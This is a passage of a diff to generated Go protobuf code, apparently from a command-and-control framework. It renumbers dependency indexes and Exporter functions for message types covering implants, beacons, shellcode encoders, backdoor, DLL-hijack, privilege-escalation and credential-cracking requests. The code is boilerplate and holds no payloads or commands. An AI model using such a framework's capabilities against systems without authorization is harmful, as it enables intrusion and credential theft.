clientpb.CrackFile.Type:type_name -> clientpb.CrackFileType - 114, // 88: clientpb.CrackFile.Chunks:type_name -> clientpb.CrackFileChunk - 21, // 89: clientpb.TrafficEncoderMap.EncodersEntry.value:type_name -> clientpb.TrafficEncoder - 20, // 90: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig - 77, // 91: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent - 77, // 92: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent - 86, // 93: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData - 3, // 94: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder - 95, // [95:95] is the sub-list for method output_type - 95, // [95:95] is the sub-list for method input_type - 95, // [95:95] is the sub-list for extension type_name - 95, // [95:95] is the sub-list for extension extendee - 0, // [0:95] is the sub-list for field type_name + 14, // 0: clientpb.Users.Users:type_name -> clientpb.User + 130, // 1: clientpb.ImplantCommand.Request:type_name -> commonpb.Request + 130, // 2: clientpb.HistoryRequest.Request:type_name -> commonpb.Request + 16, // 3: clientpb.History.Commands:type_name -> clientpb.ImplantCommand + 131, // 4: clientpb.History.Response:type_name -> commonpb.Response + 20, // 5: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon + 22, // 6: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask + 24, // 7: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2 + 0, // 8: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat + 132, // 9: clientpb.ImplantConfig.Assets:type_name -> commonpb.File + 132, // 10: clientpb.TrafficEncoder.Wasm:type_name -> commonpb.File + 121, // 11: clientpb.TrafficEncoderMap.Encoders:type_name -> clientpb.TrafficEncoderMap.EncodersEntry + 26, // 12: clientpb.TrafficEncoderTests.Encoder:type_name -> clientpb.TrafficEncoder + 28, // 13: clientpb.TrafficEncoderTests.Tests:type_name -> clientpb.TrafficEncoderTest + 25, // 14: clientpb.ExternalImplantConfig.Config:type_name -> clientpb.ImplantConfig + 132, // 15: clientpb.ExternalImplantBinary.File:type_name -> commonpb.File + 122, // 16: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry + 0, // 17: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat + 33, // 18: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget + 34, // 19: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler + 33, // 20: clientpb.Compiler.UnsupportedTargets:type_name -> clientpb.CompilerTarget + 36, // 21: clientpb.MetasploitCompiler.Encoders:type_name -> clientpb.MetasploitModule + 36, // 22: clientpb.MetasploitCompiler.Payloads:type_name -> clientpb.MetasploitModule + 39, // 23: clientpb.Canaries.Canaries:type_name -> clientpb.DNSCanary + 25, // 24: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig + 42, // 25: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile + 45, // 26: clientpb.Jobs.Active:type_name -> clientpb.Job + 130, // 27: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request + 131, // 28: clientpb.NamedPipes.Response:type_name -> commonpb.Response + 130, // 29: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request + 131, // 30: clientpb.TCPPivot.Response:type_name -> commonpb.Response + 19, // 31: clientpb.Sessions.Sessions:type_name -> clientpb.Session + 25, // 32: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig + 132, // 33: clientpb.Generate.File:type_name -> commonpb.File + 130, // 34: clientpb.MSFReq.Request:type_name -> commonpb.Request + 130, // 35: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request + 1, // 36: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol + 1, // 37: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol + 132, // 38: clientpb.MsfStager.File:type_name -> commonpb.File + 25, // 39: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig + 130, // 40: clientpb.GetSystemReq.Request:type_name -> commonpb.Request + 25, // 41: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig + 3, // 42: clientpb.MigrateReq.Encoder:type_name -> clientpb.ShellcodeEncoder + 130, // 43: clientpb.MigrateReq.Request:type_name -> commonpb.Request + 130, // 44: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request + 130, // 45: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request + 19, // 46: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session + 78, // 47: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry + 78, // 48: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry + 82, // 49: clientpb.Client.Operator:type_name -> clientpb.Operator + 19, // 50: clientpb.Event.Session:type_name -> clientpb.Session + 20, // 51: clientpb.Event.Beacon:type_name -> clientpb.Beacon + 45, // 52: clientpb.Event.Job:type_name -> clientpb.Job + 80, // 53: clientpb.Event.Client:type_name -> clientpb.Client + 123, // 54: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry + 124, // 55: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry + 86, // 56: clientpb.Websites.Websites:type_name -> clientpb.Website + 2, // 57: clientpb.Loot.FileType:type_name -> clientpb.FileType + 132, // 58: clientpb.Loot.File:type_name -> commonpb.File + 89, // 59: clientpb.AllLoot.Loot:type_name -> clientpb.Loot + 91, // 60: clientpb.Host.IOCs:type_name -> clientpb.IOC + 125, // 61: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry + 93, // 62: clientpb.AllHosts.Hosts:type_name -> clientpb.Host + 130, // 63: clientpb.DllHijackReq.Request:type_name -> commonpb.Request + 131, // 64: clientpb.DllHijack.Response:type_name -> commonpb.Response + 130, // 65: clientpb.BackdoorReq.Request:type_name -> commonpb.Request + 131, // 66: clientpb.Backdoor.Response:type_name -> commonpb.Response + 3, // 67: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder + 130, // 68: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request + 131, // 69: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response + 126, // 70: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry + 25, // 71: clientpb.ExternalGenerateReq.Config:type_name -> clientpb.ImplantConfig + 104, // 72: clientpb.Builders.Builders:type_name -> clientpb.Builder + 33, // 73: clientpb.Builder.Targets:type_name -> clientpb.CompilerTarget + 34, // 74: clientpb.Builder.CrossCompilers:type_name -> clientpb.CrossCompiler + 4, // 75: clientpb.Credential.HashType:type_name -> clientpb.HashType + 105, // 76: clientpb.Credentials.Credentials:type_name -> clientpb.Credential + 112, // 77: clientpb.Crackstations.Crackstations:type_name -> clientpb.Crackstation + 5, // 78: clientpb.CrackstationStatus.State:type_name -> clientpb.States + 109, // 79: clientpb.CrackstationStatus.Syncing:type_name -> clientpb.CrackSyncStatus + 127, // 80: clientpb.CrackSyncStatus.Progress:type_name -> clientpb.CrackSyncStatus.ProgressEntry + 128, // 81: clientpb.CrackBenchmark.Benchmarks:type_name -> clientpb.CrackBenchmark.BenchmarksEntry + 116, // 82: clientpb.CrackTask.Command:type_name -> clientpb.CrackCommand + 129, // 83: clientpb.Crackstation.Benchmarks:type_name -> clientpb.Crackstation.BenchmarksEntry + 113, // 84: clientpb.Crackstation.CUDA:type_name -> clientpb.CUDABackendInfo + 115, // 85: clientpb.Crackstation.Metal:type_name -> clientpb.MetalBackendInfo + 114, // 86: clientpb.Crackstation.OpenCL:type_name -> clientpb.OpenCLBackendInfo + 7, // 87: clientpb.CrackCommand.AttackMode:type_name -> clientpb.CrackAttackMode + 4, // 88: clientpb.CrackCommand.HashType:type_name -> clientpb.HashType + 9, // 89: clientpb.CrackCommand.OutfileFormat:type_name -> clientpb.CrackOutfileFormat + 8, // 90: clientpb.CrackCommand.EncodingFrom:type_name -> clientpb.CrackEncoding + 8, // 91: clientpb.CrackCommand.EncodingTo:type_name -> clientpb.CrackEncoding + 10, // 92: clientpb.CrackCommand.WorkloadProfile:type_name -> clientpb.CrackWorkloadProfile + 119, // 93: clientpb.CrackFiles.Files:type_name -> clientpb.CrackFile + 11, // 94: clientpb.CrackFile.Type:type_name -> clientpb.CrackFileType + 120, // 95: clientpb.CrackFile.Chunks:type_name -> clientpb.CrackFileChunk + 26, // 96: clientpb.TrafficEncoderMap.EncodersEntry.value:type_name -> clientpb.TrafficEncoder + 25, // 97: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig + 83, // 98: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent + 83, // 99: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent + 92, // 100: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData + 3, // 101: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder + 102, // [102:102] is the sub-list for method output_type + 102, // [102:102] is the sub-list for method input_type + 102, // [102:102] is the sub-list for extension type_name + 102, // [102:102] is the sub-list for extension extendee + 0, // [0:102] is the sub-list for field type_name } func init() { file_clientpb_client_proto_init() } @@ -11258,8 +11823,44 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ClientLogData); i { + file_clientpb_client_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Users); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*User); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*ClientLogData); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*ImplantCommand); i { case 0: return &v.state case 1: @@ -11270,7 +11871,31 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*HistoryRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*History); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Session); i { case 0: return &v.state @@ -11282,7 +11907,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Beacon); i { case 0: return &v.state @@ -11294,7 +11919,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Beacons); i { case 0: return &v.state @@ -11306,7 +11931,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*BeaconTask); i { case 0: return &v.state @@ -11318,7 +11943,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*BeaconTasks); i { case 0: return &v.state @@ -11330,7 +11955,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ImplantC2); i { case 0: return &v.state @@ -11342,7 +11967,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ImplantConfig); i { case 0: return &v.state @@ -11354,7 +11979,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TrafficEncoder); i { case 0: return &v.state @@ -11366,7 +11991,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TrafficEncoderMap); i { case 0: return &v.state @@ -11378,7 +12003,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TrafficEncoderTest); i { case 0: return &v.state @@ -11390,7 +12015,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TrafficEncoderTests); i { case 0: return &v.state @@ -11402,7 +12027,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ExternalImplantConfig); i { case 0: return &v.state @@ -11414,7 +12039,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ExternalImplantBinary); i { case 0: return &v.state @@ -11426,7 +12051,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ImplantBuilds); i { case 0: return &v.state @@ -11438,7 +12063,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CompilerTarget); i { case 0: return &v.state @@ -11450,7 +12075,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrossCompiler); i { case 0: return &v.state @@ -11462,7 +12087,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Compiler); i { case 0: return &v.state @@ -11474,7 +12099,31 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*MetasploitModule); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*MetasploitCompiler); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DeleteReq); i { case 0: return &v.state @@ -11486,7 +12135,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DNSCanary); i { case 0: return &v.state @@ -11498,7 +12147,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Canaries); i { case 0: return &v.state @@ -11510,7 +12159,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*UniqueWGIP); i { case 0: return &v.state @@ -11522,7 +12171,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ImplantProfile); i { case 0: return &v.state @@ -11534,7 +12183,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ImplantProfiles); i { case 0: return &v.state @@ -11546,7 +12195,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*RegenerateReq); i { case 0: return &v.state @@ -11558,7 +12207,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Job); i { case 0: return &v.state @@ -11570,7 +12219,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Jobs); i { case 0: return &v.state @@ -11582,7 +12231,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*KillJobReq); i { case 0: return &v.state @@ -11594,7 +12243,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*KillJob); i { case 0: return &v.state @@ -11606,7 +12255,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[37].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MTLSListenerReq); i { case 0: return &v.state @@ -11618,7 +12267,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[38].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MTLSListener); i { case 0: return &v.state @@ -11630,7 +12279,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[39].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*WGListenerReq); i { case 0: return &v.state @@ -11642,7 +12291,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[40].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*WGListener); i { case 0: return &v.state @@ -11654,7 +12303,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[41].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DNSListenerReq); i { case 0: return &v.state @@ -11666,7 +12315,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[42].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DNSListener); i { case 0: return &v.state @@ -11678,7 +12327,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[43].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPListenerReq); i { case 0: return &v.state @@ -11690,7 +12339,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[37].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[44].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NamedPipesReq); i { case 0: return &v.state @@ -11702,7 +12351,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[38].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[45].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NamedPipes); i { case 0: return &v.state @@ -11714,7 +12363,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[39].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[46].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TCPPivotReq); i { case 0: return &v.state @@ -11726,7 +12375,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[40].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[47].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TCPPivot); i { case 0: return &v.state @@ -11738,7 +12387,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[41].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[48].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPListener); i { case 0: return &v.state @@ -11750,7 +12399,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[42].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[49].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Sessions); i { case 0: return &v.state @@ -11762,7 +12411,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[43].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[50].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*RenameReq); i { case 0: return &v.state @@ -11774,7 +12423,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[44].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[51].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*GenerateReq); i { case 0: return &v.state @@ -11786,7 +12435,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[45].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[52].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Generate); i { case 0: return &v.state @@ -11798,7 +12447,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[46].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[53].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MSFReq); i { case 0: return &v.state @@ -11810,7 +12459,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[47].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[54].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MSFRemoteReq); i { case 0: return &v.state @@ -11822,7 +12471,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[48].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[55].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*StagerListenerReq); i { case 0: return &v.state @@ -11834,7 +12483,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[49].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[56].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*StagerListener); i { case 0: return &v.state @@ -11846,7 +12495,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[50].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[57].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ShellcodeRDIReq); i { case 0: return &v.state @@ -11858,7 +12507,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[51].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[58].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ShellcodeRDI); i { case 0: return &v.state @@ -11870,7 +12519,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[52].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[59].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MsfStagerReq); i { case 0: return &v.state @@ -11882,7 +12531,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[53].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[60].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MsfStager); i { case 0: return &v.state @@ -11894,7 +12543,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[54].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*GetSystemReq); i { case 0: return &v.state @@ -11906,7 +12555,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[55].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MigrateReq); i { case 0: return &v.state @@ -11918,7 +12567,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[56].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CreateTunnelReq); i { case 0: return &v.state @@ -11930,7 +12579,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[57].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CreateTunnel); i { case 0: return &v.state @@ -11942,7 +12591,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[58].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CloseTunnelReq); i { case 0: return &v.state @@ -11954,7 +12603,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[59].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*PivotGraphEntry); i { case 0: return &v.state @@ -11966,7 +12615,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[60].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[67].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*PivotGraph); i { case 0: return &v.state @@ -11978,7 +12627,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[68].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Client); i { case 0: return &v.state @@ -11990,7 +12639,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[69].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Event); i { case 0: return &v.state @@ -12002,19 +12651,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Operators); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_clientpb_client_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} { + 